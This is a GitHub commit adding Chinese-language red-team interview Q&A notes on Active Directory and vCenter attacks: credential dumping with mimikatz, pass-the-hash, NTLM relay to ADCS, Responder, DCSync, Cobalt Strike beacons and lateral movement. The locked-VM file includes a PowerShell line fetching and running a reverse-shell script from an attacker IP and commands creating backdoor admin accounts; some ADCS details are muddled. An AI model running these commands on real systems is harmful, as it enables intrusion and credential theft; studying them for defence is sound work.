Add files via upload

This commit is contained in:
雾島风起時
2025-09-25 03:23:59 +08:00
committed by GitHub
parent ec9fc5deac
commit a075c015da
17 changed files with 597 additions and 0 deletions
+38
View File
@@ -0,0 +1,38 @@
### 现在在域外有一台工作组机器的权限但没有域用户且无法直接通过漏洞进入域内,请问这种情况怎么进入域中找到域控
**1. 探索工作组机器与域的关联**
虽然这台机器不属于域,但它可能与域内的资源或用户有业务往来,这些连接就是你的切入点
- **检查 DNS 设置**:查看这台工作组机器的 DNS 服务器地址。如果它指向了域内的 DNS 服务器,那么它很可能与域有信任关系
- **命令**`ipconfig /all``Get-DnsClientServerAddress`
- **目的**:获取DNS服务器IP,这个IP很可能就是**域控制器(DC)**的IP,因为DC通常也作为域内的DNS服务器
- **查找映射的共享**:检查这台机器是否映射了域内的网络共享(如 \DC\share)
- **命令**`net use``Get-SmbConnection`
- **目的**:如果存在映射,你可能会找到域用户的凭据缓存,或者在共享中找到敏感文件
- **查看凭据缓存**:这台机器上可能缓存了域用户的登录凭据,这是最重要的突破口
- **命令**:利用 `mimikatz``sekurlsa::logonpasswords` 命令来转储内存中的凭据
- **目的**:如果某个域用户曾用这台工作组机器远程登录过(例如 RDP),或者访问过域内的共享资源,其密码哈希很可能被缓存下来
**2. 利用服务和信任关系**
即使没有找到域用户的凭据,你仍然可以利用工作组机器与域之间的服务信任关系
- **Kerberos 服务票据**Windows 系统在用户登录后会生成 Kerberos 服务票据(TGT)。虽然这台机器不属于域,但如果一个域用户曾通过它访问过域内服务,那么票据可能被缓存下来
- **工具**`mimikatz``kerberos::list /full` 命令
- **目的**:获取并导出 Kerberos 票据。有了这些票据,你就可以在不拥有密码哈希的情况下,以该用户的身份访问域内的其他服务
- **SMB 会话**:通过检查这台机器与域内其他机器之间的 SMB 会话,你可以发现更多潜在的攻击路径
- **命令**`net session``Get-SmbSession`
- **目的**:找到与域内机器建立的会话,这可能表明存在可利用的信任关系
**3. 利用凭据重用进行横向移动**
如果你的信息收集成功,找到了一个域用户的凭据哈希,恭喜你,你已经有了进入域的第一把钥匙
- **利用哈希重用**:使用找到的哈希进行**哈希传递(Pass-the-Hash**攻击
- **工具**`Metasploit``psexec` 模块或 `Impacket` 工具包中的 `psexec.py`
- **命令**`psexec.py <域>/<用户名>@<目标域机器IP> -hashes <哈希>`
- **目的**:通过这个哈希,你可以尝试登录域内的其他机器,例如域成员服务器、其他域成员工作站,甚至是域控制器本身。如果这个用户是**域管理员**,那么你就直接成功了
- **破解哈希**:如果哈希无法直接利用(例如在 NTLMv2 认证环境中),你可以尝试离线破解这个哈希,获得明文密码
- **工具**`Hashcat``John the Ripper`
- **目的**:一旦获得明文密码,你可以使用它进行传统的登录攻击,或者使用其他攻击工具进行横向移动
+50
View File
@@ -0,0 +1,50 @@
### 利用 NTLM Relay 配合 ADCS 这个漏洞的情况需要什么条件
**1. NTLM Relay 攻击的基本原理**
NTLM Relay 的核心是中间人攻击。攻击者位于客户端和服务器之间,截获并重放 NTLM 认证会话
1. **客户端发起认证请求**:域内的一台机器(客户端)向攻击者控制的机器发起一个 SMB 或 HTTP 等协议的连接
2. **攻击者截获并转发**:攻击者截获客户端的 NTLM Challenge/Response 认证信息(但无法破解出明文密码)
3. **攻击者重放认证**:攻击者将这个认证信息**原封不动地转发**给**另一台域内机器**(目标服务器),冒充客户端进行认证
4. **目标服务器验证通过**:目标服务器认为这个认证信息是合法的,并允许攻击者以客户端的身份进行访问
这里的关键是,攻击者没有破解密码,而是**直接利用认证过程**,将受害者的身份“重放”给了目标服务器
**2. ADCS 漏洞(ESC8)的核心原理**
Active Directory Certificate Services (ADCS) 是微软提供的一个证书颁发机构(CA),用于管理公钥基础设施(PKI)
漏洞(也被称为 ESC8)存在于一些**不安全的证书模板配置**中。当一个证书模板被配置为:
- **`Certificate Authority Authorization`** (`CA Authorization`) 权限不安全,允许低权限用户或匿名用户注册
- 并且模板允许**`客户端认证`** (`Client Authentication`)
- 最重要的是,模板设置了 **`NTLM 签名禁用`** (`NTLM Signing Disabled`)
在这种配置下,攻击者可以利用 NTLM Relay 攻击,将受害者的身份信息中继到 ADCS 服务器,**以受害者的身份请求一个证书**。这个证书将用于后续的 Kerberos 认证
**3. NTLM Relay 配合 ADCS 的完整攻击链**
将两者结合后,攻击链变得异常强大,因为攻击者不再需要找到一个可以被利用的**文件共享**或**远程桌面服务**,而是将认证重定向到一个特定的 ADCS Web 页面
1. **诱导受害者发起认证**:攻击者需要想办法让域内一个用户或计算机(受害者)向自己发起一个认证请求
- **强制认证**:通过强制用户访问一个恶意 UNC 路径(例如 `\\<攻击机IP>\share`),Windows 系统会自动尝试使用 NTLM 认证来访问这个共享
- **钓鱼攻击**:通过发送恶意链接(例如 `file:///<攻击机IP>/payload.html`)给受害者
2. **启动 NTML Relay 服务器**:攻击者使用专门的工具(如 `ntlmrelayx.py`)来监听并重定向认证
3. **重定向认证到 ADCS**:当受害者发起认证请求时,`ntlmrelayx.py` 会捕获 NTLM 认证信息,并将其**重定向到 ADCS 的一个特定 HTTP 页面**
- **重定向 URL 示例**`http://<ADCS服务器IP>/certsrv/certfnsh.asp`
4. **以受害者身份请求证书**:ADCS 服务器接收到重定向的 NTLM 认证后,会认为这是受害者在请求证书。由于模板配置不安全,它会为攻击者颁发一个**带有受害者身份信息**的有效证书
5. **利用证书获取 Kerberos 票据**:攻击者获取到这个证书后,可以使用 `Rubeus.exe` 或其他工具,利用证书请求一个**Kerberos 票据(TGT**
6. **实现 Kerberos 认证**:有了这个 TGT,攻击者就可以**以受害者的身份访问域内的所有服务**。如果这个受害者是**域管理员**,攻击者就实现了域的完全控制,包括创建新用户、修改组权限等
**4. 攻击链的利用条件总结**
要成功执行这种攻击,必须满足以下所有条件:
1. **NTLM Relay 环境**:攻击者必须能够位于一个可以拦截和重定向 NTLM 认证请求的网络位置
2. **受害者认证**:攻击者需要找到一个可以被诱导、向攻击机发起 NTLM 认证的受害者,通常是域内的一台机器或一个用户
3. **不安全的 ADCS 模板配置**:这是最关键的条件,也是漏洞的根源。ADCS 模板必须存在以下缺陷:
- **`Enrollment Rights`(注册权限)**:允许低权限用户或匿名用户请求证书
- **`Client Authentication`**:证书可以用于客户端认证
- **`NTLM Signing Disabled`**ADCS 服务器的 HTTP 接口没有启用 NTLM 签名验证
4. **域内存在未打补丁的 ADCS 服务器**:服务器必须运行一个易受攻击的 ADCS 版本,并且其证书模板存在上述配置缺陷
+32
View File
@@ -0,0 +1,32 @@
### 继上题,Responder 应该开在哪台机器上,为什么
**为什么必须开在攻击者的机器上?**
要理解 Responder 的工作原理,你需要知道它在整个攻击链中扮演的角色:
**1. 监听和嗅探**
Responder 的第一步是监听本地网络接口上的流量。它会嗅探那些没有找到对应服务器的协议请求,例如:
- **LLMNR**Windows 机器默认的域名解析协议,用于在局域网内解析主机名。当 DNS 解析失败时,它会向所有机器广播查询
- **NBT-NS:另一个 Windows 机器常用的广播协议
- **MDNS**:多播 DNS
**2. 欺骗和响应**
当 Responder 嗅探到这些广播查询时,它会立即**伪造一个响应**,声称自己就是客户端正在寻找的目标服务器。例如,如果客户端正在寻找 `FILESERVER`,Responder 会立即响应:“我就是 `FILESERVER`,请连接我。”
**3. 拦截和重放**
一旦客户端被欺骗,它会尝试向 Responder 伪造的“服务器”发起连接,并发送自己的 **NTLMv2 哈希**进行身份验证
Responder 会拦截这个哈希,并将其保存下来。攻击者可以稍后对这个哈希进行离线破解,获取明文密码,或者直接进行 **NTLM Relay** 攻击
**4. 攻击链中的位置**
想象一下,你在一场对话中扮演一个**冒名顶替者**
- **你的机器**:Responder 就是你的冒名顶替者。它坐在你的电脑上,等待有人大声询问“`FILESERVER` 在哪儿?”
- **受害者机器**:受害者就是那个大声询问的人。它没有找到 `FILESERVER`,所以向整个网络广播求助
- **真正的服务器**`FILESERVER` 可能根本就不在线,或者 DNS 配置有问题
- **攻击过程**:你的 Responder 迅速回应,将受害者引向你,而不是它想找的真正服务器
+27
View File
@@ -0,0 +1,27 @@
### 继上题,为什么 ADCS 这个漏洞能获取域管理员权限,原理是什么
**1. ADCS 漏洞(ESC8)的核心原理**
ADCS 漏洞(也被称为 ESC8,因为它是由 SpecterOps 发现的攻击链之一)是**配置缺陷**而非代码漏洞。攻击者利用的是 ADCS 证书模板中的一个或多个不安全配置
一个典型的可被利用的证书模板具有以下特征:
- **权限配置不安全**:这个证书模板的“注册(Enrollment)”权限被授予了低权限用户,甚至是匿名用户。这意味着,任何人都可以向证书颁发机构(CA)请求一个基于这个模板的证书
- **用途配置不安全**:这个证书模板的用途(Extended Key Usage)被设置为 **`Client Authentication`**,这意味着它颁发的证书可以用于客户端身份验证
- **不安全的证书主体名(Subject Name)**:这个模板允许请求者自定义证书中的**主体名(Subject Name**。主体名是用于在 Kerberos 认证中识别用户身份的关键字段
**2. 攻击链的详细步骤**
1. **信息收集**:攻击者首先需要通过侦察,找到域内存在的 ADCS 服务器,并识别出那些配置不安全的证书模板
- **工具**`Certify.exe` 是一个常用的工具,可以扫描域内的 ADCS 服务器,并列出所有证书模板的配置,高亮显示那些存在漏洞的模板
- **关键信息**:攻击者会寻找那些 `Client Authentication` 权限开启、且主体名可控的模板
2. **以低权限用户身份请求高权限证书**
- 攻击者使用一个低权限的域用户,或者通过前面提到的 NTLM Relay 等方法,以**任何一个普通域用户**的身份,向 ADCS 服务器发起证书请求
- 在请求时,攻击者利用模板允许自定义主体名的缺陷,将请求的主体名(`Subject Name`)设置为一个**高权限用户**,例如**域管理员**
- **为什么能成功?** 理论上,CA 应该验证请求者的身份和其请求的主体名是否匹配。但由于模板配置不安全,CA 没有进行这项验证,直接颁发了一个证书,其主体名是攻击者指定的**域管理员**
3. **利用证书获取 Kerberos TGT**
- 攻击者获得这个伪造的证书后,就可以使用像 **`Rubeus.exe`** 这样的工具
- `Rubeus` 可以利用这个证书,向域控制器发送 **Kerberos 认证请求**。这个过程被称为 `PKINIT`,是 Kerberos 协议的一个扩展,允许客户端使用证书进行身份验证
- **为什么能成功?** 域控制器会看到这个证书,并根据证书中的主体名(`Subject Name`)来识别用户身份。它会认为这个请求来自一个合法的域管理员,并为其颁发一个**域管理员的 Kerberos 票据(TGT**
4. **域完全控制**
- 一旦攻击者获得了域管理员的 TGT,就相当于获得了域管理员的密码哈希,可以**伪造任何其他用户的票据**(Golden Ticket),或者使用 `psexec``WMI` 等工具,在不提供密码的情况下,以域管理员的身份执行任意命令,从而实现对整个域的完全控制
+35
View File
@@ -0,0 +1,35 @@
### 如果拿到了一套 vCenter 的权限,如何去进一步深入利用
**1. 信息收集与环境侦察**
首先,我会利用 vCenter 的管理界面和 API,收集环境信息,为后续攻击做准备
- **资产清单**:我会列出所有 ESXi 主机、虚拟机、数据存储和虚拟网络。我会特别关注虚拟机的操作系统类型(Windows/Linux)、IP 地址、以及它们所处的网络段,这对于绘制内网拓扑至关重要
- **用户与权限**:我会检查 vCenter 上的用户和组,识别出**域管理员**或拥有 vCenter **`Administrator`** 角色的用户。这些账户是核心目标。同时,我会检查是否有不活跃或配置不当的账户
- **配置信息**:我会深入了解 vCenter 的配置,比如是否与 Active Directory 集成、是否有 SSO 登录、使用的证书信息等。这些信息有助于后续的横向移动和持久化
**2. 横向移动与权限提升**
利用 vCenter 的权限,我可以直接对 ESXi 主机和虚拟机进行操作,这是最具杀伤力的利用方式
- **虚拟机快照与内存转储**
- **原理**:vCenter 允许你创建虚拟机的快照,并可以获取虚拟机的**内存快照(Memory Snapshot)**。内存快照包含虚拟机当前运行状态下的所有数据,包括内存中的凭据
- **利用**:我会选择一台运行 Windows 操作系统的虚拟机,创建它的内存快照。然后,我会下载这个内存快照文件(`.vmem` 文件)
- **离线分析**:在我的攻击机上,我会使用 **`Volatility`** 等内存取证工具,离线分析 `.vmem` 文件,从中提取出各种凭据,比如**明文密码**、**NTLM 哈希**、**Kerberos 票据**等。这是一种非常高效的凭据窃取方式,而且通常不会被虚拟机内的杀毒软件或 EDR 解决方案察觉
- **创建新的虚拟机**
- **原理**:作为 vCenter 的管理员,我可以自由创建、修改和删除虚拟机
- **利用**:我会创建一个新的虚拟机,并在其中安装一个带后门的操作系统镜像。这为我在内网中建立了一个**持久化的攻击跳板**,可以在任何需要的时候访问
- **直接在虚拟机上执行命令**
- **原理**vCenter 拥有 **`Guest Operations`** 功能,如果虚拟机安装了 VMware Tools,vCenter 就可以直接在虚拟机内执行命令
- **利用**:我不需要知道虚拟机的登录凭据,就可以通过 vCenter 的界面或 API,在虚拟机内执行 `cmd.exe``powershell.exe` 命令,这可以用来植入恶意软件、建立反向 Shell,或窃取敏感文件。
**3. 持久化与隐蔽操作**
获得 vCenter 权限后,最重要的是建立持久化通道,以确保即使被发现,我也可以重新进入
- **修改 vCenter 用户权限**
- **原理**:我可以创建新的 vCenter 用户,并赋予它管理员权限,或者修改现有用户的权限
- **利用**:我会创建一个不显眼的、难以被发现的**后门账户**,以便在我的主账户被禁用后,仍然能够通过这个后门账户访问 vCenter
- **注入 vCenter 插件**
- **原理**vCenter 支持插件机制
- **利用**:我可以开发或修改一个恶意的插件,将其注入到 vCenter 服务器。这个插件可以用于持续监控环境、执行命令或窃取数据,从而实现更深层次的持久化
+51
View File
@@ -0,0 +1,51 @@
### 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办
**1. 内存转储攻击**
这是最强大且隐蔽的攻击方式,它能让你在不与虚拟机桌面直接交互的情况下,窃取到所有已登录用户的密码
- **原理**:Windows 操作系统在运行时,会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息,存储在 `lsass.exe` 进程的内存中。作为 vCenter 管理员,你可以获取虚拟机的**内存快照,这个快照文件包含了虚拟机在某一时刻的全部内存数据
- **操作步骤**
1. 在 vCenter 界面中,找到锁屏的虚拟机
2. 右键点击虚拟机,选择 **Snapshot -> Take Snapshot**。在弹出的窗口中,勾选 **"Snapshot the virtual machine's memory"**
3. 等待快照完成后,找到这个快照文件(通常是 `.vmem``.vmss` 文件)。这个文件通常位于 ESXi 主机的数据存储(Datastore)上
4. 将这个文件下载到你的攻击机
5. 在攻击机上使用**内存取证工具**,例如 **`Volatility`**。执行命令来分析 `.vmem` 文件并提取凭据
```bash
# 识别操作系统类型
volatility -f <内存快照文件> imageinfo
# 从lsass进程中提取密码哈希和明文密码
volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz
```
- **优点**:这种方法非常隐蔽,几乎不会在虚拟机内留下任何痕迹,也不会触发任何安全告警。即使虚拟机锁屏,你依然可以成功获取登录凭据
**2. 利用 VMware Tools 在虚拟机内执行命令**
如果虚拟机内安装了 VMware Tools,你就可以利用 vCenter 的 **`Guest Operations`** 功能,直接在虚拟机内部执行命令,而无需登录
- **原理**VMware Tools 是一个运行在虚拟机操作系统中的服务,它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机,包括文件传输、脚本执行等
- **操作步骤**
1. 在 vCenter 界面中,找到锁屏的虚拟机
2. 右键点击虚拟机,选择 **Guest OS -> Run Program in Guest**
3. 在弹出的对话框中,你可以输入想要执行的命令
4. 你可以执行以下命令来建立一个持久化的后门
- **创建新的管理员用户**: `C:\Windows\System32\cmd.exe /c "net user newuser password /add"` `C:\Windows\System32\cmd.exe /c "net localgroup administrators newuser /add"`
- **下载并执行反向 Shell** `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1"`
- **优点**:这种方法简单直接,只要虚拟机处于开机状态且 VMware Tools 运行正常,你就可以绕过锁屏,直接在内部执行命令
**3. 创建新的管理员账户**
如果上述方法都失败了,你还有终极权限——在虚拟机内创建新的管理员账户
- **原理**:利用 VMware Tools 的 `Run Program in Guest` 功能,你可以直接调用操作系统命令来创建新用户并将其添加到管理员组
- **操作步骤**
- 执行上面提到的 **`net user`** 和 **`net localgroup`** 命令,创建一个新的管理员账户
- 等待命令执行成功后,你就可以使用这个新创建的账户,远程桌面连接到虚拟机,或者通过其他方式登录
+45
View File
@@ -0,0 +1,45 @@
### Kerberos 的原理
**Kerberos 的三大核心组件**
要理解 Kerberos,必须先了解它的三个关键角色:
1. **客户端(Client**:想要访问服务的用户或机器
2. **服务器(Server**:提供服务的机器,例如文件服务器、Web 服务器等
3. **密钥分发中心(KDC**:这是 Kerberos 认证的核心,由两部分组成:
- **认证服务器(AS - Authentication Server**:负责验证客户端的身份
- **票据授予服务(TGS - Ticket Granting Service**:负责发放访问特定服务的票据
**Kerberos 的工作原理:三步认证流程**
Kerberos 的认证过程可以分为三个主要步骤。整个过程都围绕着**票据(Ticket**和**会话密钥(Session Key**展开。
**第一步:客户端获取“票据授予票据”(TGT)**
这是 Kerberos 认证的起点
1. **客户端请求**:客户端向 **AS** 发送一个认证请求,包含它的用户名。**注意,这里没有明文密码**
2. **AS 验证**:AS 在其数据库中查找这个用户名。如果找到,它会生成一个**会话密钥**(`Client/TGS Session Key`),并用**客户端的密码哈希**对这个会话密钥进行加密
3. **AS 颁发 TGT**:AS 还会生成一个**票据授予票据(TGT - Ticket-Granting Ticket**。这个 TGT 包含了客户端的身份信息和前面生成的会话密钥,并用**TGS 的密钥**进行加密。AS 将加密后的会话密钥和 TGT 一起返回给客户端
4. **客户端解密**:客户端收到响应后,会使用自己的密码哈希来解密会话密钥。**这是整个过程中唯一使用到客户端密码哈希的地方。**如果解密成功,客户端就获得了 TGT 和一个会话密钥
现在,客户端拥有了 TGT,它可以使用这个票据向 TGS 请求其他服务的访问权限。
**第二步:客户端请求“服务票据”(ST)**
当客户端需要访问某个服务时,它会向 **TGS** 请求一个服务票据
1. **客户端请求**:客户端将 **TGT** 和想要访问的**服务名**发送给 TGS
2. **TGS 解密**:TGS 使用自己的密钥解密 TGT。如果解密成功,就证明 TGT 是合法的。TGS 从 TGT 中提取出**客户端/TGS 会话密钥**
3. **TGS 颁发 ST**:TGS 生成一个**客户端/服务会话密钥**,并用**客户端/TGS 会话密钥**对其加密。同时,TGS 还生成一个**服务票据(ST - Service Ticket**,包含了客户端的身份信息和客户端/服务会话密钥,并用**服务端的密钥**加密。TGS 将这两部分一起返回给客户端
4. **客户端解密**:客户端使用自己的客户端/TGS 会话密钥来解密,从而获得**客户端/服务会话密钥**和 **ST**
现在,客户端拥有了 ST,它可以拿着这个票据去访问目标服务
**第三步:客户端访问服务**
这是认证的最后一步,也是 Kerberos 核心安全性的体现
1. **客户端请求**:客户端将 **ST** 和一个**认证数据**Authenticator)发送给目标服务器。认证数据中包含一个时间戳,并用**客户端/服务会话密钥**加密
2. **服务器解密**:服务器使用自己的密钥解密 **ST**,提取出**客户端/服务会话密钥**。然后,服务器使用这个会话密钥解密**认证数据**,并检查时间戳是否有效
3. **服务器验证**:如果所有检查都通过,服务器就认为客户端是合法的,并允许其访问服务
+40
View File
@@ -0,0 +1,40 @@
### Flannel、Calico 和 Cilium 有什么区别
**1. Flannel**
**Flannel** 是一个简单、轻量级的网络解决方案,它主要关注一点:为每个 Pod 分配一个 IP 地址,并确保这些 IP 之间可以路由
- **工作原理**:Flannel 使用一个**覆盖网络(Overlay Network)**来工作。它在每个主机上运行一个代理进程 `flanneld`,这个代理会在 Pod 的 IP 地址之上创建一个虚拟网络。当一个 Pod 发送数据包时,Flannel 会将数据包封装在 UDP、VXLAN 或 Host-Gateway 等协议中,然后通过物理网络发送到目标主机。目标主机上的 Flannel 代理收到数据包后,再将其解封装,传递给目标 Pod
- **特点**
- **简单易用**:配置简单,适合初学者或对高级网络功能没有要求的场景
- **纯路由方案**:Flannel 只负责路由,不提供网络策略(Network Policy)功能。你需要结合其他工具(如 Kubernetes Network Policy)来实现防火墙规则
- **性能**:由于有封装和解封装的过程,Flannel 的性能通常会比直接路由方案略低
**2. Calico**
**Calico** 是一个更强大、功能更全面的 CNI 插件。它不仅提供网络连接,还内置了强大的网络策略引擎
- **工作原理**Calico 默认使用 **BGPBorder Gateway Protocol**来直接路由数据包,而不是使用覆盖网络。每个 Calico 节点都像一个路由器,它会向其他节点广播 Pod 的 IP 地址,从而实现 Pod 间的直接通信。Calico 也可以配置为使用 IP-in-IP 或 VXLAN 模式
- **特点**
- **性能高**:由于默认使用 BGP 直接路由,避免了数据包的封装和解封装开销,其性能通常比 Flannel 高
- **内置网络策略**:Calico 提供了非常细粒度的网络策略功能,你可以像使用防火墙一样控制 Pod 间的通信
- **适用于大规模集群**:其设计使其非常适合大型、复杂的集群环境
**3. Cilium**
**Cilium** 是一个相对较新但功能强大的 CNI 插件,它的设计理念是基于**eBPFextended Berkeley Packet Filter**技术
- **工作原理**Cilium 使用 **eBPF** 来在 Linux 内核中实现网络和安全功能。它可以在数据包到达网络协议栈之前,在内核层面直接处理和过滤数据包,而无需将数据包从内核空间复制到用户空间。这使得 Cilium 能够提供**超高性能**和**细粒度的安全控制**
- **特点**
- **性能卓越**:eBPF 技术使其在性能上优于大多数传统的 CNI 插件
- **应用层安全**Cilium 可以在**L7 层**(应用层)实施网络策略。例如,你可以基于 HTTP 请求的路径、方法或 Kafka 消息的主题来设置策略,这比 Calico 的 L3/L4 网络策略更为强大
- **可观测性**:Cilium 提供了丰富的可观测性工具,可以帮助你追踪数据包的流动和安全策略的执行情况
| 特性/插件 | Flannel | Calico | Cilium |
| --------- | -------------------- | -------------------- | ------------------------------------ |
| 工作原理 | 覆盖网络 (VXLAN/UDP) | IP 路由 (BGP) | eBPF in kernel |
| 网络策略 | 不提供,需额外配置 | 内置,L3/L4 | 内置,L3/L4/L7 |
| 性能 | 简单,性能一般 | 高性能 | 极高性能 |
| 适用场景 | 简单集群,测试环境 | 生产环境,大规模集群 | 需要高吞吐和细粒度安全控制的复杂集群 |
| 优点 | 易于安装和使用 | 功能全面,性能优越 | 性能最佳,支持 L7 策略 |
| 缺点 | 功能单一,无内置策略 | BGP 模式配置复杂 | 技术新,相对复杂 |
+37
View File
@@ -0,0 +1,37 @@
### CS 上线不出网机器用到的什么类型的 Beacon
**SMB Beacon**
**SMB Beacon** 是 CS 中专门用于内网横向移动和命令控制的类型。它的工作原理是利用 **命名管道(Named Pipe**,通过 **SMB 协议** 与目标机器上的 Beacon 进行通信
**工作流程**
1. **初始上线**:首先,您需要在内网中找到一台可以出网的机器,通常是已经通过常规方式(如 HTTP/S Beacon)上线的机器,我们称之为 **“中继机器”**
2. **创建 SMB Beacon**:在中继机器上,您可以使用 CS 的 `psexec``psexec_psh``wmi` 等模块,通过 **派生(Spawn** 的方式,将 SMB Beacon 部署到不出网的目标机器上
3. **管道通信**:一旦目标机器上的 SMB Beacon 启动,它会创建一个命名管道。中继机器上的 Beacon 会通过这个管道与目标机器上的 SMB Beacon 进行通信
4. **命令传递**:中继机器上的 Beacon 接收到来自您 Cobalt Strike 客户端的命令后,会通过 SMB 管道将其传递给目标机器上的 SMB Beacon。反之亦然,目标机器的执行结果也会通过管道返回给中继机器,最终传回您的客户端
**优点**
- **隐蔽性强**:SMB 协议在内网中非常常见,不易引起安全设备的警觉
- **无需出网**:这是它最大的优势,能够完美解决内网不出网机器的上线问题
- **横向移动**:它是 CS 进行内网横向渗透的核心组件之一
**HTTP/S Beacon with Domain Fronting (域前置)**
虽然严格来说,**域前置** 并不是一种 Beacon 类型,但它是一种非常有效的技术,可以帮助 **HTTP/S Beacon** 伪装流量,从而绕过一些网络限制,间接实现不出网机器的上线
**工作原理**
域前置利用了内容分发网络 **CDN** 的特性。CDN 允许一个请求的 **主机头(Host Header** 和实际连接的 IP 地址不一致
**工作流程**
1. **正常流量**:攻击者在 CS 中将 Beacon 的 C2 地址设置为 CDN 的域名(如 `cdn.microsoft.com`),而实际上 Beacon 会向 CDN 的 IP 地址发送请求
2. **CDN 代理**:当 CDN 收到请求后,它会根据 HTTP 请求中的 `Host` 字段,将请求转发到攻击者在 CDN 上配置的真实 C2 服务器
3. **绕过限制**:对于不出网的机器,如果它的网络策略允许访问 CDN 节点的 IP,那么它就可以成功将流量发送出去,因为在它的网络视角中,它只是在访问一个合法的 CDN 资源,而不会被认为是恶意流量
**优点**
- **伪装性强**:流量看起来像是访问合法的大型云服务商或 CDN,难以被检测
- **绕过防火墙**:可以绕过一些基于域名的白名单或黑名单策略
+15
View File
@@ -0,0 +1,15 @@
### PTT 有哪些攻击方法
**1. 获取 Kerberos 票据(TGT 或 ST**
攻击的第一步是获取一个有效的 Kerberos 票据。攻击者通常会利用以下几种方式:
- **Mimikatz**:这是最常用的工具。通过 `Mimikatz`,攻击者可以在一个已经获得管理员权限的机器上,从内存中导出用户的 Kerberos 票据缓存。这些缓存中可能包含着 TGTTicket Granting Ticket,票据授予票据)或 STService Ticket,服务票据)
- **窃取和伪造**:攻击者可以窃取域管理员账户的 Kerberos 票据,然后利用这些票据伪造或生成新的票据,以便访问域内任何服务
**2. 利用和注入票据**
一旦攻击者获取了票据,他们会将其注入到内存中,以冒充合法用户:
- **注入 TGT**:攻击者可以将域管理员账户的 TGT 注入到内存中。通过这个 TGT,他们可以向 KDC 申请任意服务的 ST,从而完全控制域内的所有服务和资源
- **注入 ST**:攻击者可以直接注入一个特定服务的 ST。这种方法通常用于横向移动,即从一台服务器跳到另一台服务器,以访问特定的服务,如数据库或文件共享
+12
View File
@@ -0,0 +1,12 @@
### DCSync 的利用条件
**域管理员组 (Domain Admins) 成员:** 默认情况下,此组的成员拥有执行 DCSync 所需的最高权限
**企业管理员组 (Enterprise Admins) 成员:** 此组的成员同样拥有对整个域林进行 DCSync 的权限
**根域控制器组 (Domain Controllers) 成员:** 域控制器本身需要执行此操作,因此它们拥有此权限
**拥有特定复制权限的账户:** 这是最常见的非高权限账户利用场景。攻击者需要找到或攻陷一个拥有以下两个权限的账户
- **"Replicating Directory Changes" (DS-Replication-Get-Changes)** 允许账户请求目录服务中的所有对象和属性的更改
- **"Replicating Directory Changes All" (DS-Replication-Get-Changes-All)** 允许账户请求所有目录服务中的密码哈希和敏感信息更改
+39
View File
@@ -0,0 +1,39 @@
### 横向渗透命令执行手段
**1. WMI**
**WMI** 是 Windows 操作系统中的一个核心组件,它允许系统管理员对本地或远程计算机进行管理。攻击者可以利用 WMI 强大的功能,在远程主机上执行命令,而不需要依赖其他第三方工具
**常用命令:**
- `wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd /c dir > c:\result.txt"`:这个命令可以在目标主机上执行 `dir` 命令,并将结果输出到 `c:\result.txt` 文件
- `wmic /node:目标IP /user:用户名 /password:密码 process call create "powershell.exe -e <Base64编码的命令>"`:通过 WMI 结合 PowerShell,可以执行更复杂的命令,绕过一些安全检测
**2. PsExec**
**PsExec** 是 Sysinternals 工具集中的一个经典工具,它允许在远程计算机上以本地 SYSTEM 账户身份执行命令。它利用 SMB 协议在远程主机上创建一个名为 `PSEXESVC` 的服务,通过这个服务来执行命令
**常用命令:**
- `PsExec.exe \\目标IP -u 用户名 -p 密码 cmd.exe`:直接在远程主机上打开一个交互式 `cmd` 终端
- `PsExec.exe \\目标IP -u 用户名 -p 密码 -s cmd.exe`:以 SYSTEM 权限打开一个 `cmd` 终端,这是最常见也是最强大的用法
**PsExec 的缺点是可能会被杀毒软件检测到,并且会在目标主机上留下服务创建和删除的日志**
**3. WinRM**
**WinRM** 是微软基于 WS-Management 标准实现的管理协议,默认在 Windows Server 2012 及其以上版本中启用。它可以通过 HTTP 或 HTTPS 协议进行远程管理,非常适合在防火墙严格的环境下使用
**常用命令:**
- `winrs -r:目标IP -u:用户名 -p:密码 ipconfig`:在目标主机上执行 `ipconfig` 命令
- `Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {whoami}`:使用 PowerShell 的 `Invoke-Command` cmdlet,可以更灵活地执行命令和脚本
**4. UNC 路径执行**
在某些情况下,如果目标主机开启了 `SMB``IPC$` 共享,并且你拥有相应的权限,可以直接利用 `UNC` 路径(`\\IP\共享名`)来执行文件
**常用命令:**
- `copy \\攻击机IP\share\a.exe c:\windows\temp\a.exe`:将攻击机上的可执行文件复制到目标主机上
- `schtasks /create /s 目标IP /tn "MyTask" /tr c:\windows\temp\a.exe /sc once /st 00:00`:利用计划任务在特定时间执行复制过来的文件
+37
View File
@@ -0,0 +1,37 @@
### PTH、PTT、PTK 三者区别
**Pass-the-Hash (PtH)**
**PtH** 是最广为人知的技术,它指的是一种攻击方法。攻击者通过窃取用户在内存中的 **NTLM 哈希**,并直接使用这个哈希来作为凭据进行身份验证,而不需要知道明文密码
- **工作原理:** 当 Windows 用户登录时,系统会生成一个 NTLM 哈希并存储在内存中。PtH 攻击者可以利用 Mimikatz 等工具从内存中抓取这个哈希,然后将它传递给目标服务(如 SMB、WMI),假冒该用户进行登录
- **应用场景:** 最典型的应用是横向移动。如果攻击者拿到了域管理员的 NTLM 哈希,就可以在其他机器上直接使用这个哈希来建立远程连接、执行命令,甚至完全控制整个域
- **常用工具:** **Mimikatz** 是 PtH 攻击的核心工具,它的 `sekurlsa::logonpasswords``sekurlsa::pth` 功能就是为此而生
**Pass-the-Ticket (PtT)**
**PtT** 则是利用 Kerberos 协议的攻击技术。它指的是攻击者窃取了用户在内存中的 **Kerberos 票据(Ticket Granting Ticket, TGT**,然后将这个票据注入到当前会话中,从而获得访问权限
- **工作原理:** Kerberos 认证依赖于 TGT。当用户成功登录域时,域控制器会颁发一个 TGT。PtT 攻击者可以利用工具从内存中导出这个 TGT,并将其加载到另一台机器的内存中。加载后,该机器就可以向域内的其他服务发起访问请求,而不需要提供哈希或密码
- **与 PtH 的区别:**
- **协议不同:** PtT 针对的是 **Kerberos** 协议,而 PtH 针对的是 **NTLM** 协议
- **对象不同:** PtT 操作的是 **Kerberos 票据**PtH 操作的是 **NTLM 哈希**
